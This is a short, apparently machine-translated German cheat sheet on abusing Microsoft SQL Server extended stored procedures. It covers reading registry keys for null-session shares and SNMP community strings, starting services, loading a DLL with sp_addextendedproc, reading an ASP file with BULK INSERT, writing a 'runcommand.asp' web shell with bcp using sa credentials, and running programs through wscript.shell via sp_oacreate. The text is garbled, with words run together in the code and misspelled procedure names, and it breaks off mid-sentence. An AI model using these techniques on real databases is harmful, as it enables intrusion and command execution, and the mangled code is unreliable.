Einige SQL -Erweiterungen
xp_regaddmultisting
XP_REGDELETEYKEY -Schlüsselname löschen
XP_regDeletValuse -Schlüsselwert
XP_REGENUMKEYS ENUM
xp_regenumvalues
XP_Regread für
XP_Regremovemultisting
xp_regwrite write
XP_AVailablemedia Ansicht
XP_DIRRTREE View -Verzeichnis
XP_ENUMDSNODBC -Datenquelle
XP_Loginconfig Informationen zu einer Serversicherheitskonfiguration
XP_MAKECAB -Paket, einige DBO -Berechtigungen können zuerst verwendet werden
xp_ntsec_enumdomains enum domänenname verwandte Informationen verwandte Informationen
XP_termate_process Terminalprozess und IP
XP_Logininfo derzeit Anmeldekonto
sp_configure ruft Inhalte in der Datenbank ab (ich denke, das ist sehr nützlich)
sp_helpextendedProc erhält alle Speicherverlängerungen
SP_WHO2 Abfragen von Benutzern, den Host, den sie anmelden, den Vorgänge, den sie in der Datenbank ausführen, usw.
Einige Netzwerkinformationen
execxp_regreadhkey_local_maachine,
'System/CurrentControlSet/Services/LanManserver/Parameter',
"NullSessionshares"
SNMP unterstützte Netzwerkprüfung
execxp_regenumvalueshkey_local_maachine,
'System/CurrentControlSet/Services/SNMP/Parameter/Validcomm
Einheiten '
Starten Sie einige Systemdienste wie Telnet und Sie können zu Administrator- oder Systemkennwörtern kommen.
ExecMaster..xp_serviceControl'start ',' Zeitplan ''
ExecMaster..xp_serviceControl'Start ',' Server '
Sp_addextendedProc'xp_webserver ',' c: /temp/xp_foo.dll 'Diese Erweiterung kann das Programm ausführen
Verwenden Sie die Syntax "Bulkinsert", um eine Textdatei in eine temporäre Tabelle einzufügen. Erstellen Sie einfach diese Tabelle:
creatEtablefoo (linevarchar (8000))
Führen Sie dann die Bulkinsert -Operation aus, um die Daten in die Datei in die Tabelle einzufügen, z. B.:
BulkInsertfofRom'c: /inetpub/wwroot/admin/inc.asp '
BCP "SELECT*FromText..foo" queryoutc: /inetpub/wwwroot/runcommand.asp-c-slocalhost-usa-pfoobar
Der Parameter "s" ist der Server, der die Abfrage ausführt, der Parameter "U" ist der Benutzername, der Parameter "P" ist das Kennwort, hier ist "Foobar"
In SQLServer werden mehrere integrierte gespeicherte Verfahren bereitgestellt, die die Erstellung von ActiveX-Skripten ermöglichen. Diese Skripte entsprechen Skripten, die unter dem Windows -Skript -Interpreter oder ASP -Skriptprogrammen ausgeführt werden - sie verwenden VBScript oder JavaScript, um sie zu erstellen und mit ihnen zu interagieren. Ein automatisches Ausführungsskript mit dieser Methode kann in Transact-SQL in ASP-Skripten oder in WSH-Skripten alles ausführen.
Verwenden Sie das Objekt "wscript.shell", um eine Instanz von Noticepad zu erstellen:
deklariere@oint
execsp_oacreate'wscript.shell ',@oout
execsp_oamethod@o, 'run', null, 'notepad.exe' '
Geben Sie an, um es nach dem Benutzernamen auszuführen: